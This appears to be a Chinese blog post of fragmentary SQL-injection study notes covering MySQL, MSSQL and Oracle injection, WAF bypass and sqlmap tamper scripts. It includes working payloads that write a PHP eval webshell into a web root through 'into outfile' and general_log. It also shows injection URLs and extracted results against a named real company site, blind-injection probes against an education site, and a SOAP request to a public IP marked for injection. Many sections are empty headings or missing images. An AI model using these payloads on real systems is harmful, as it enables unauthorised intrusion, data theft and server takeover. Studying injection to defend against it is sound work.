admin管理员组

文章数量:1547206

渗透测试- 注入

    • mysql4.0注入实战
        • 代码审计——sql注入漏洞常规挖掘分析/实战
    • - 挖掘方法
      • PHP mysql_real_escape_string() 函数
      • PHP addslashes() 函数
    • PHP htmlentities() 函数
    • PHP htmlspecialchars() 函数
    • PHP strip_tags() 函数
    • PHP md5() 函数
    • PHP sha1() 函数
    • 在这里插入图片描述 ![在这里插入图片描述](https://i-blog.csdnimg/blog_migrate/63d7ed525432bac5fad208025e60bdb9.png)
    • PHP intval() 函数
    • # 适用人群
      • # 数据库监控
    • #实战挖掘#
      • # 总结
  • 网络安全高手的进阶蜕变之旅
    • 1.1 Web应用架构分析
    • 1.2 SQLi注入环境搭建
    • 1.3 SQL注入原理分析
            • # %23 注释符号
    • MySQL注入方法逻辑运算及常用函数
            • ~ 0x7e
    • SQL注入流程
    • * 用在 漏洞 sql注入 特别了解
    • SQL手工注入方法
    • 漏洞介绍:
  • 第二章:SQL注入语法类型
    • 2.1 union联合查询注入
    • 2.2 报错注入
    • 实验地址:实验测试——SQLmap工具的使用-POST注入
    • 实验地址:实验测试——SQLmap工具的使用-cookie注入
    • 检测二
    • 实验地址:实验测试——SQLmap工具的使用-执行SQL命令
  • 第三章:SQL 盲注
    • 布尔盲注
    • 3.2 SQL盲注-时间注入
    • 3.3 Dnslog盲注
  • 第四章:SQL注入防御绕过
    • 4.1 宽字节注入
    • 4.2 二次编码注入
    • 4.3 二次注入
        • 二次注入防御:外部提交的数据 进行谨慎对待 (不仅仅是 特殊字符转义)
    • 4.4 WAF绕过原理分析
    • 4.5 SQLmap绕过WAF脚本编写
      • 应对waf时 定制化 payload 继续注入
        • sqlmap 介绍
            • 执行系统命令 -os-shell
        • Tamper脚本介绍
        • 编写Tamper
  • 第五章:MsSQL数据库注入
    • 5.1 MsSQL数据库环境搭建
    • TSQL 数据操作语言
  • sql注入备忘录
    • 5.2 MsSQL数据库注入
    • 5.3 MsSQL数据库注入
    • 第六章:Oracle数据库注入
      • 6.1 Oracle数据库环境搭建
      • 6.2 Oracle数据库注入
    • oracle 注入测试方法
    • 报错注入 盲注
    • 6.3 Oracle数据库注入


POST /WebService/InterfaceForJN/search_realdata.asmx HTTP/1.1
Host: 60.x.x.x:8001
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://tempuri/GetRealData"
Content-Length: 508
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap/soap/envelope/" xmlns:tem="http://tempuri/">
   <soapenv:Header/>
   <soapenv:Body>
      <tem:GetRealData>
         <!--Optional:--><tem:cityname>1*</tem:cityname>
         <!--Optional:-->
         <tem:subname>1</tem:subname>
         <!--Optional:-->
         <tem:subid>1</tem:subid>
         <!--Optional:-->
         <tem:wastetype>1</tem:wastetype>
      </tem:GetRealData>
   </soapenv:Body>
</soapenv:Envelope>





https://www.bilibili/read/cv6562645/
【sql injection】

https://mp.weixin.qq/s/8grPMYzNbwhgRRDcE57U7Q


order by
/**/
boolen等式  能够被带入查询语句并显示不同效果
当条件不符合时,71-false=71,显示71.html,无数据

http://EDU_SITE/.../..._id/71-false.html

=> SELECT ..FROM .. WHERE ... AND _id=71-false


获取用户名长度
http://EDU_SITE/.../..._id/71-(length(user())=12).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(user())=12)

获取数据库长度
http://EDU_SITE/.../..._id/71-(length(database())=6).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(database())=6)

burpsuite的clusterboom模式对database进行爆破


【SQL注入 getshell】

写文件--into outfile

前提:
网站的绝对路径
没有对引号进行过滤
文件必须有写的权限




union select getshell
payload:1' union select 1,'<?php eval("$_POST[2]")?>',3 into outfile 'd:/phpstudy_pro/www/1.php'--+




lines terminated by 

        lines terminated by 该语句是设置每行数据结尾的字符,可以设置为单个或多个字符,默认为“/n”;
        
payload: ?id=1' into outfile 'd:/phpstudy_pro/www/2.php'lines terminated by'<?php eval("$_POST[8]")?>'--+3.





lines starting getshell
lines starting getshell该语句为设置每行开头的字符

payload:?id=1' into outfile 'd:/phpstudy_pro/www/3.php'lines starting by'<?php eval("$_POST[8]")?>'--+ 





fields terminated getshell
fields terminated by 设置字段之间的分隔符,默认值是"\t"

payload:?id=1')) into outfile'd:/phpstudy_pro/www/4.php' fields terminated by '<?php eval("$_POST[8]")?>'--+ 






COLUMNS terminated getshell
COLUMNS terminated by 设置字段之间的分隔符,默认值是"\t"

payload:?id=1')) into outfile'd:/phpstudy_pro/www/6.php' COLUMNS terminated by'<?php eval("$_POST[4]")?>'--+ 


getshell-数据表getshell
前提:需要将shell内容插入数据表中,在将表内容写成可执行文件,所以要想利用它getshell,一般数据库有堆叠注入或phpmyadmin或有一个数据库的基本权限才能getshell。

payload:id=1';insert into users(username,password) values('<?php eval("','$_POST[2]")?>')--+ 





getshell-日志getshell
7.1 开启全局日志配置

payload:?id=1';set global general_log = on;--+

7.2设置日志路径(webshell路径)

id=1';set global general_log_file = 'd:/phpStudy_pro/WWW/8.php';--+

7.3写入木马病毒

id=1';select '<?php eval("$_POST[2]")?>';--+

payload: 


 【waf  绕过】

mysql4.0注入实战

 SELECT user() 
 select database() 
 select version()
 
SELECT * FROM information_schema.SCHEMATA

 select table_name from information_schema.tables where table_schema='db_name' 
 // 当前数据库 db_name  所有表  


 











































































 http://www.cowinbio/



属于mysql4.0 注入一个实例

路径:/usr/local/webroot/cw/product/introduction.php

mywebmanage/conn.php

http://www.cowinbio/product/introduction.php?id=-65 union select load_file('/usr/local/webroot/cw/product/introduction.php'),2

http://www.cowinbio/product/introduction.php?id=65%20order%20by%202

http://www.cowinbio/product/introduction.php?id=65 union select 1,2

version():4.1.22-standard
user():root@localhost
database():cw

http://www.cowinbio/product/introduction.php?id=65 union select 1,2 

load_file()

sqlmap -u url注入地址 --sql-shell 执行sql命令




mysql5.0  

into outfile 
information

代码审计——sql注入漏洞常规挖掘分析/实战

- 挖掘方法

- 数据库操作性 函数 写到配置环境 (暂时忽略)



PHP mysql_real_escape_string() 函数

  • 转义 SQL 语句中使用的字符串中的特殊字符
  • 下列字符受影响:

\x00
\n
\r
\

"
\x1a

  • 如果成功,则该函数返回被转义的字符串。
    如果失败,则返回 false。

PHP addslashes() 函数

  • ——返回在 预定义字符 之前 添加反斜杠 的 字符串。
  • 预定义字符是:

单引号(')
双引号(")
反斜杠(\)
NULL

提示:
可用于 为存储 在 数据库 中的 字符串以及数据库查询语句 准备字符串。

注释:
PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。
所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。
遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。


PHP htmlentities() 函数

  • ——把字符转换为 HTML 实体。
    提示:
    要把 HTML 实体转换回字符,请使用 html_entity_decode() 函数。
    请使用 get_html_translation_table() 函数 来返回 htmlentities() 使用的翻译表。

PHP htmlspecialchars() 函数

  • ——把一些预定义的字符转换为 HTML 实体
预定义的字符是:

& (和号) 成为 &amp;
" (双引号) 成为 &quot;
' (单引号) 成为 &#039;
< (小于) 成为 &lt;
> (大于) 成为 &gt;


PHP strip_tags() 函数

  • ——剥去字符串中的 HTML、XML 以及 PHP 的标签。

注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。

注释:该函数是二进制安全的。



PHP md5() 函数

  • ——md5() 函数计算字符串的 MD5 散列。

  • ——md5() 函数使用 RSA 数据安全,包括 MD5 报文摘要算法。


PHP sha1() 函数

  • ——sha1() 函数计算字符串的 SHA-1 散列。

  • ——sha1() 函数使用美国 Secure Hash 算法 1

PHP intval() 函数

  • ——函数用于获取变量的整数值。

  • ——通过使用指定的进制 base 转换(默认是十进制)
    返回变量 var 的 integer 数值。

  • —— intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

# 适用人群

  • 安全开发
  • 程序员
  • 渗透测试人员
  • id=1 写死
  • 可操控 $_POST 接收
  • 安全函数 查看是否严谨
  • 注入 是否进行限制
  • 来判断 sql注入漏洞 在这个地方 是否存在

# 数据库监控

  • 监控插件 监控sql操作语句词型
  • 访问 网站特殊地址 查看数据库操作语句 执行在 哪个地方
  • 追寻代码 文件地址
  • 跟踪 代码是否可控 绕过
  • 分析 哪个语句 跟当前 访问页面 参数相关
  • 尝试 更改参数 追加确认

  • 作为全局搜索
  • 如果不确定 就打开一个 注释下
  • 更改参数 查看页面状态

  • 语句注释 后 页面报错
  • 确认是 当前页面 代码文件

  • 注意传值方法
  • 追踪该方法有没有相关 绕过 过滤 条件
  • 若没有 可能存在注入点

#实战挖掘#

  • 变量全局 搜索
  • 访问相关文件
  • 传入 验证绕过 所需 参数
  • 并且开启 数据库监控
  • 补足 验证条件

  • 构造 ?id=1 order = 1 &u …

  • %23 -----> #

  • 盲注测试

  • 构造 ?id=1 union select 1,2,3 &u …
  • 页面 注入 测试
  • 联合注入 失败
  • 测试盲注

  • 0.5 ---->延时2s

  • 一般延时注入 要比 联合注入 通用性好

# 总结

  • 访问敏感页面

  • 监控数据库

  • 查找执行出处函数 方法

  • 监控 出处 处 变量

  • 追踪变量 是否过滤

  • sql是否存在

  • 关键字搜索 ——任何漏洞挖掘 比较常用

  • 数据库监控—— 类似于 SQL注入这种相应

网络安全高手的进阶蜕变之旅

web安全工程师-01-SQL注入漏洞原理与利用

1.1 Web应用架构分析

1998 年 至今 20多年 了

爆出 sql 注入 导致 大量数据泄露

发现问题 —> 规避 sql注入 带来的 风险
研究 web框架 能 使我们 更熟悉 框架审计 中 注入的 原理

B/S 架构 开始 的时候 数据库 和网站 在同一台服务器 上

webapp 网站 放在 容器里
容器和数据库 软件 安装在 操作系统里
逻辑对 数据库的操作 来实现 网站功能


之后 互联网技术 发展
大量数据 大量请求 需要 web应用来处理

集群效果


中间件 容器








1.2 SQLi注入环境搭建



部分漏洞 需要 tomcat环境
WAMP 一款windows系统下的Apache+PHP+Mysql集成环境整合包



工程配置信息 路径等


部署的代码


需要的应用







windows 和 linux 换行符 不一样 导致 记事本不换行




不同难度级别

Linux docker 安装 sqli labs

docker images


docker search sqli-labs

docker pull acgpiano/sqli-labs



docker run -dt --name sqli -p 80:80 --rm acogiano/sqli-labs

后台运行
再命名
本地:docker 端口 —端口映射
创建 清理镜像



边看代码 边学习 注入

1.3 SQL注入原理分析




注意 返回 长度 select 1,version()

docker exec -it xxxname /bin/bash



用1 来 占位


# %23 注释符号





MySQL注入方法逻辑运算及常用函数










~ 0x7e























登陆处 注入 构造 万能密码

 'or '1'='1


时间延时注入

updatexml

xpath格式

报错注入

SQL注入流程



灵活构造参数 用于 搜索引擎

页面爬取 动态链接 去依次 注入 测试







这种 更适用于 有 登陆验证授权 或 cookie 的 案例


* 用在 漏洞 sql注入 特别了解


黑盒测试

白盒测试 寻找 测试点


id 参数 存在 sql注入 漏洞

从 sql命令 往上找 反向
GET POST 用户数据 正向


flask路由 对 用户 输入 地址识别
进入不同方法 进行处理

直接用 form表单
validate 有效性判断 password 没有做处理
获取到数据

直接 insert 添加到 数据库中


密码做了 hash 处理 没法 对 数据库 直接操作

username 做了 正则匹配 也没办法

email 邮箱 注册 验证

邮箱 没有对 输入内容 进行验证


构造 payload


Microsoft JET Access 数据库


mysql 5.x 存在 用数据语句 内置库 表 列 -->查询 关键数据

access 不存在 库信息




sqlserver sa权限 执行系统命令

mysql 权限 低 不能直接执行系统命令
读文件 配置文件
tomcat 管理员管理密码 部署webshell 变相提权
读取 数据库配置文件 - 账号密码

写文件 --os-shell
php-mysql 写一个 webshell 到 网站目录 执行系统命令 变相提权

SQL手工注入方法


引擎层
实现 数据 存取
定义 数据 存储 的 格式 方式

sql层
特定的 语法 完成 数据库任务执行
执行结果 处理 返回 可识别信息

连接层
通讯协议 线程 验证


结构化 查询语句
授权
数据库 定义 控制 操作 查询 语言
解析器
优化器
执行器
引擎层
缓存

了解基础原理


库 xx小学
表 xx年级xx班
列 序号 学号 姓名 性别
数据 1 x x x

库 功能 操作

mysql 账户信息
sys 元数据信息
performance_schema 性能参数 参数设置 收集
information_schema 访问 元数据


十六进制 不需要 单引号 ’ '包裹

1.BIN:binary,二进制的;
2.OCT:octal,八进制的;
3.HEX:hexadecimal,十六进制的;
4.DEC:decimal,十进制的。
Hash是把任意长度的输入通过散列算法变换成固定长度的输出,该输出就是散列值



bp 用在 时间 布尔 盲注 比较多

进行 简单的 逻辑 判断
联合查询 之前 判断 字段 长度


多条数据 group_concat 粘在一起显示

信息收集

mysql 提权 不可以直接 执行 系统 命令

通过 读写文件 进行 提权

文件 php 格式 在页面 显示不出来 在源码里 可看

读 数据库 配置 密码
系统配置文件
权限文件 系统信息 注意 权限大小

写入 webshell 到 目录 提权

不能 创建 写文件

权限不够


实在不行 就 换个不需要文件权限的

权限 可以 就 能写入 目标目录

  • 实验测试——SQL注入漏洞原理及防范-上

漏洞介绍:

    SQL注入漏洞可以说是在企业运营中会遇到的最具破坏性的漏洞之一,
    它也是目前被利用得最多的漏洞。要学会如何防御SQL注入,
    我们首先要对他的原理进行了解。
    
    SQL注入(SQLInjection)是这样一种漏洞:
    当我们的Web app在向后台数据库传递SQL语句进行数据库操作时。
    如果对用户输入的参数没有经过严格的过滤处理,那么恶意访问者就可以构造特殊的SQL语句,
    直接输入数据库引擎执行,获取或修改数据库中的数据。

漏洞危害:

  • 直接就造成数据库中的数据泄露
  • 如果数据库连接用户具备高权限,则可能导致恶意访问者获取服务器控制
  • 众多安全事件的切入点。

实验环境工具介绍:

  • 火狐浏览器

HackBar:
一款Firefox浏览器下的黑客插件
Sql注入以及Xss测试或进行各种编码功能等。
在火狐的附加组件中搜索“hackbar”,将它添加到火狐浏览器中, 重启后Firefox后安装完成,按F9键打开我们就会看到在地址栏下面会出现一个大框框就是hackbar了。
安装完后,打开火狐浏览器,在工具=》附加组件里搜索“HackBar”并安装,如下图:


安装完后,重启一下火狐浏览器才会生效

重启完后,打开百度,你会发现标签栏处多了一些工具条,它就是HackBar插件,
首次打开是开启的,可以通过F9来切换工具条是否显示与隐藏。
我们可以点击Load URL将URL栏的地址加载到HackBar窗口中,
可以利用HackBar工具栏提供了很多web开发相关的命令,像urlencode,urldecode等常见命令。

  • 实验测试——SQLmap工具的使用-SQLmap初步

实验目的:

  • 学习使用SQLmap进行注入点判断
  • 学习使用SQLmap注入出数据

实验工具:

  • SQLmap

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

本部分学习使用SQLmap进行简单的注入点判断并注入出数据。

第二章:SQL注入语法类型

2.1 union联合查询注入

insert update 都不可以使用 union

orderby 对第几列 进行排序


’ 闭合 单引号

–+ 注释掉 后面的 单引号


union 内部 的 select 语句 必须 有 相同的 列



union 把两个 select 结果集 结合到 一块

二分法 查询列长度


select 语句 可以嵌套

2.2 报错注入



进行匹配 波浪号 账号密码


构造 非法 xpath 值


方便 快速 脚本 正则匹配

注意 报错 返回的 长度 32位


将数据 截取

dumb

实验地址:实验测试——SQLmap工具的使用-POST注入

实验目的:
学习使用SQLmap工具进行注入POST类型的SQL注入点。

实验工具:

SQLmap

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

本次实验将使用SQLmap工具进行注入POST类型的SQL注入点。

实验地址:实验测试——SQLmap工具的使用-cookie注入

实验目的:
学习使用SQLmap工具进行注入cookie类型的SQL注入点。
实验工具:
SQLmap
SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

本实验将使用SQLmap工具进行注入cookie类型的SQL注入点。

检测二

答案:
1、解析: D、首先要构造语句,让正常的数据无法返回,这里选择id=-1,接着要构造显示内容,3,5,8,7,4让这些数字显示在对应位置,这里只要没用相同的数字,我们就能判断出每个数字所代表的唯一位置,从而判断出哪里回显数据。
2、解析: A、通过union select的长度,可以判断出返回数据的列,通过user(),可以直接显示当前数据的用户名,通过(select database())可以查询出当前数据库的库名称并返回。
3、解析: C、updatexml接收3个参数,第一个XML文档,第二个xpath语句,第三是要替换成为的字符串。
4、解析: C、报错注入的关键就是要显示错误语句,如果不显示,我们就不能通过报错看到内容。
5、解析: A、只要数据库触发到了报错语句,就会产生报错,并将报错信息显示到页面上。

实验地址:实验测试——SQLmap工具的使用-执行SQL命令

实验目的:

学习通过SQLmap工具执行SQL命令的几种不同的方式。

实验工具:

SQLmap

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

学习通过SQLmap工具执行SQL命令的几种不同的方式:

1.执行指定的SQL语句
2.交互式的SQL命令行
3.执行文件中的SQL语句

第三章:SQL 盲注

布尔盲注

单引号 反义 导致 注入失败
转成 数字 比对 避免 单引号 出现


猜出 email

更换 别的 表
猜解 ref 不像是 数据

猜解 uag
猜解 user
users 都一样

a-z 下划线 0-9

判断 列 名


改变 limit 值 对 第二列 测试



ASCII 0-127

48 - 0
122 - Z




3.2 SQL盲注-时间注入

判断 页面 返回 真与假 识别 数据库 中 的 信息

通过 返回 时间 的 快慢 来 识别 数据库 中 的 信息

没有 回显 真假
只是 构造语句 分析时长

登录场景

注入语法


无论怎样 都是 一个页面

  • if left 时间盲注

  • 时间盲注 小脚本

3.3 Dnslog盲注

  • DNS


服务器上 的应用 对外 开放 服务

公网ip:端口 ----- 对应功能

引入 dns

  • DNS Server 存储 用户 访问的 域名 信息


布尔 时间 盲注 猜字游戏
效率比较低 也容易 触发 防护

UA
User-Agent会告诉网站服务器,访问者是通过什么工具来请求的
中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,
User Agent也简称UA。
它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。
通过这个标识,
用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计;

  • dns log 平台


  • dnslog 盲注 目标 一定是 windows操作系统





  • dns 记录 不可以 用 ~ 等 特殊符号


构造语句

  • 用 哈希 查看完 再 哈希 回来

工程化 注入
速度快 效率高 人为参与 少

定义 查询数据 的 语句
数据库
表名
获取数据



执行 payload


对 dnslog 平台的 接口 进行 访问

入口处 接收 参数




识别 随机串






答案:
1、解析: B、页面依据提交的数据,返回不同的内容,但是不回直接显示数据库中的信息,此处如果存在SQL注入,必然是盲注
2、解析: B、在所有类型的注入点,都可以使用时间盲注。
3、解析: A、依据题意可知,当前库名称的第一位的ASCII码为115,既s。
4、解析: B、load_file函数在Linux下是无法用来做dnslog攻击的。
5、解析: A、ABC都是dnslog盲注的特点。

第四章:SQL注入防御绕过

4.1 宽字节注入

常规 + web/mysql/php 一些方法 注入


英文 一个字节
中文 两个字节 默认

A-Z 48种

一个字节 8bit位 二进制
01组合种类 255种

一个字节 表示 中文字符 255不够

16bit来表示

安全编码 特殊符号 转义 防止 恶意注入

 url编码,网址字符串
 浏览器自动对中文和一些特殊字符转码,形式为:"%二位十六进制数",
 代表一个字节,如果是中文是2个字节,
 就需要两个%。如果没有自动转码,就要自己转,比如js中有escape和encodeURI,
 在接收这样字符串的程序中如需还原成中文,就分别用unescape和decodeURI。
 其他程序语言中都有相应的url字符转码函数。



字符替换 SQL注入防护

  • gbk编码连接

联合查询
报错 / 直接页面显示













php 内置函数

  • 宽字节防御

用utf-8 彻底杜绝

使用二进制 数据库连接


4.2 二次编码注入



防止发生歧义

各个语言 都有 自己的 解码工具类






构造错误


4.3 二次注入




认为数据库 中 可信


重置数据库



经过 php 方法 特殊字符 转义





  • mysql_real_eacape_string() 特殊字符转义






















二次注入防御:外部提交的数据 进行谨慎对待 (不仅仅是 特殊字符转义)

  • 默认 从数据库 中查询到的 数据 就是 安全的


windows 环境 – 其他环境 也可以 考虑 dnslog注入

linux 只能 使用 二次注入

4.4 WAF绕过原理分析

防护:代码层、网络层、服务器层

  • waf 网站应用级入侵防御系统。英文:Web Application Firewall


  • 了解 中间件 机制 iis tomcat nginx
  • preg_replace() + i 忽略大小写






中间件 和 waf 的 区别 进行 污染

  • 能够注入

  • waf 规则 匹配不到的 数据格式

  • %25 为 %





  • %20






  • 挑一个 可以注入的



  • 把空格 全部替换
    确定 页面 只有 三列



  • 分割



4.5 SQLmap绕过WAF脚本编写

应对waf时 定制化 payload 继续注入


sqlmap 介绍

  • 指明对 哪一个参数 进行测试 -d

    id = 1 后 键入 *
  • 在一些 伪静态场景很好用
  • –dbs 列出所有库 的名称
执行系统命令 -os-shell

sqlserver sa用户 --> 调用 SqlServer系统内置函数---->执行命令
mysql (前提知道网站所在目录)写入后门文件到目录 —>执行系统命令

执行 sql语句 -sql-shell
输入 sql 语句

读文件 + 路径
写文件 + 本地文件 --file-dest 目标及文件

Tamper脚本介绍


编写Tamper







  • PHP函数 preg_replace

\s 空白字符
\t 换行符

  • 刷新 重新开始 --flush-session


  • union all select

  • %a0换行符 空格
  • %0a 空格







答案:

1、解析: C、注解:很显然,utf-8并不是宽字节。
2、解析: B、注解:键入%df,尝试于转义字符\进行组合,形成汉字字符。
3、解析: C、注解:B,使用强校验,防御所有可能的恶意语句,可以有效避免SQL注入。
4、解析: D、注解:云WAF一班都有较好的防护性能和较强的防护规则,期望构造语句进行绕过可能存在困难,我们选择寻找真实的IP,就能一劳永逸的绕过防护,当然,这也只是应用在一些场景。
5、解析: B、注解:replace函数的格式为A

第五章:MsSQL数据库注入

5.1 MsSQL数据库环境搭建

  • mssql 数据库 特性
    asp + mssql

  • sqlserver

  • 权限配置 对整个服务器造成隐患

绕过 注入流程 与 mysql 没什么区别

  • 数据库结构
  • 函数名
  • 数据操作语言
  • 存储过程


  • 数据默认存放目录

  • 身份验证 windows(SQLserver 不参加验证) / 混合 (或)验证

  • SA 是 SqlServer最高权限-超级管理员 登录需要密码

  • 密码复杂 有要求

    登录后

  • 带 ## 有证书 创建 在SqlServer 内部使用

  • 映射一个 win系统账户

  • NT 也是 内置账户 实现 特使功能 mssql server


  • 两层 并行 安全架构 权限

sysadmin
public

db_owner DBO
public




  • sqlserver SID 安全标识符

TSQL 数据操作语言



创建更复杂的 存储过程


master 一切对象 信息 sa 和其他账号的 密码
model 创建用户 数据库 的模板
msdb 用户数据库 任务调度 告警 操作 元信息
tempdb 临时数据库 数据库 重启 丢失


新建数据库用户


DML 管理语句
DDL 修改数据库结构
DCL 授权语句




只是一个视图 并没有这个表

从 视图里 查询

iis 服务器组件









添加 iis user




数据连接 在 webconfig设置

  • index.aspx





添加这个控件 自动生成 ConnectionStrings 连接 需要







关闭default 这个 127.0.0.1 本地 站


localsystem 是 安装时候 的 权限 SqlServer

  • 修改项目









直接拼接
没过滤 参数化处理




  • https://websec.ca/kb/sql_injection

sql注入备忘录


5.2 MsSQL数据库注入

 MSSQL(MicroSoft SQL Server数据库)
微软开发的关系型数据库管理系统DBMS
较大型的数据库
提供数据库的从服务器到终端的完整的解决方案,
数据库管理系统SSMS(SQL Server Managerment Studio),是一个用于建立、使用和维护数据库的集成开发环境。 端口号:1433


存储过程
视图名 函数名
站库分离
多语句注入


TSQL 数据语言
mssql 大量存在 存储过程

形成中间代码 存放在 数据库中

特定功能 第一次编译后直接运行 不需要再次编译

xp_cmdshell存储过程 让攻击者方便

管理员自己创建的 存储过程 审计
实现越权




无回显 盲注


% 为模糊匹配

  • and 布尔探测 数据库版本


… 两个 点省略 dbo 架构







与mysql 不一样的 地方



sysobjects存放 数据库中 一些对象

面向对象 思想

xpath 查询 这些对象 类别


top 与 limit


not in 排除



information_schema 视图



mysql pdo 多语句查询



是不允许 dml调用 dcl 类型

绕过








多语句 注入 闭合

  • 要求数据库权限



    创建 表 再从表中 盲注 布尔注入

bulk insert 大量插入


声明变量










dbo 伪造备份 写入








  • 必须 有 数据库 做过备份

写入 二进制 木马



下载 木马


14版本 默认



5.3 MsSQL数据库注入

盲注 遍历 数据管理员创建的 存储过程 安全审计 很常见
数据库不安全的 配置属性




cmder



-p 加 攻击参数












添加用户
管理员
开启 远程桌面 控制



安装权限



services.msc


权限修改



08 开启


无法 多语句执行

也没法 子语句调用



遍历 存储过程


同一个 域渗透

后渗透 攻击 流量 转发内网

powershell 免杀 处理














权限 敏感信息 审计









python R 语言命令
留下后门


第六章:Oracle数据库注入

6.1 Oracle数据库环境搭建

tomcat搭建 eclipse



关键字绕过、waf绕过
都差不多

语言 和 权限结构 + 提权操作 盲注 函数

数据中心 有 很多分支
存储过程 提权









系统权限 和 对象权限 权限传递方式不一样
撤销 影响不一样








授权撤销后 会不会收回

面向过程 特性









6.2 Oracle数据库注入


  • 查询 必须 跟上表名 或者 dual虚拟表 对 select 语句进行补充

  • mysql 查询 会有 数据类型的 转换 (一种弱 匹配漏洞)

oracle 注入测试方法

  • 在null 替换 关键字 ctrl F 寻找 回显字符
  • 表名 列名 加 双引号 order by 判断列数


  • sys.v_$version 数据库版本信息 备份全局的视图

  • 查询数据表
  • oracle 用 ROWNUM 来筛选 数据

<> == !=号

报错注入 盲注

web页面上 是 500 报错信息

  • get_host_name 参数类型 不匹配导致 ip ----字符串


  • 主题词 表 报错

  • upper 全部结果 大写

  • XMLtype 内 参数 chr ASCII方式 解析为字符

  • || 字符串拼接

  • 查表 为< : > xml 一定格式要求

回显时候 数据带空格 / 会导致 数据被截断 数据显示 不完全
加别的函数 把 空格 替换成 其他字符 /空

参数 类型不匹配 导致报错
错误信息 被 攻击者 发现 系统敏感数据

  • web 应用 错误 没有被 及时捕捉 和 处理 直接 输出 在 web 页面

  • 布尔盲注 为 返回 0 /1 页面不同










  • 外带 发送 request 请求



6.3 Oracle数据库注入

  • oracle 提权操作

    命令执行 提升权限

linux oracle 反弹 shell

  • 用户 登录名 口令
    远程登录 提权

  • 存储过程 权限 定义 调用

  • DBMS_EXPORT_EXTENSION




引入 双引号 隔离 之前的语句
去执行 我们插入的 sql 语句



执行
sys 权限执行 插入 语句

创建 一个 java 库
调用 java 虚拟机 底层函数






begin dbms_java.grant_permission

语法格式




sys dba权限 赋予 public




![在这里插入图片描述](https://img-blog.csdnimg/c20de74867b640b1a7d4c1aa7

本文标签: 测试专题